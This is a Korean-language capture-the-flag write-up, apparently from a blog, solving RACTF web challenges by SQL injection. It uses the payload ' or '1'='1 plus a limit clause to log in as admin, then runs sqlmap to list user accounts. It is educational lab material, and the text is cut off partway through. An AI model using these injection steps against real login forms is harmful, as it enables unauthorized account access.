문제 설명 : See if you can get access to an account on the webapp. 문제 풀이 문제 사이트로 접속하면 회원가입과 로그인 그리고 Admin 페이지로 접속할 수 있는 버튼이 보인다. Admin 페이지로 접속해보았다. Admin 페이지로 접속하게 되면 Login 화면이 표시된다. SQL INJECTION 공격을 해보았다. ‘ or ’1’=’1 공격 코드로 ID와 password를 우회해보았다. 그결과 “Attempting to login as more than one user!??” 이라는 메시지가 출력된다. 번역을 하면 둘 이상의 사용자로 로그인을 시도하고 있다는 뜻이다. 즉 서버 DB에서는 ‘ or ’1’=’1 공격코드로 인해 전체 유저가 조회되었을 것이다. admin만 로그인 되게 하려면 limit 구문으로 조회하면 될 것이다. limit 1으로 Query 결과중 하나만 가져오게 만들었고 admin으로 로그인에 성공하였다. flag 값은

RACTF Admin Attack (SQL INJECTION) [내부링크]

문제 설명 : Looks like we managed to get a list of users. That admin user looks particularly interesting, but we don’t have their password. Try and attack the login form and see if you can get anything. 문제 풀이 문제 사이트로 접속하면 로그인 창이 보인다. ‘ or ’1’=’1 공격 코드로 SQL INJECTION 공격을 해보았다. 그 결과 “xxslayer420”이라는 계정으로 로그인 되었다. 문제에서 admin으로 로그인 하라고 하였으니 SQL INJECTION 공격으로 admin으로 로그인 해야 한다. SQLMAP으로 현재 DB에 어떤 데이터가 있는지 확인해 보았다. SQLMAP으로 확인결과 총 8개의 계정이 있고 jimmyTehAdmin 계정이 관리자 권한을 가진 계정이다. 하지만 sha256으로 암호화 되어있어 패스워드를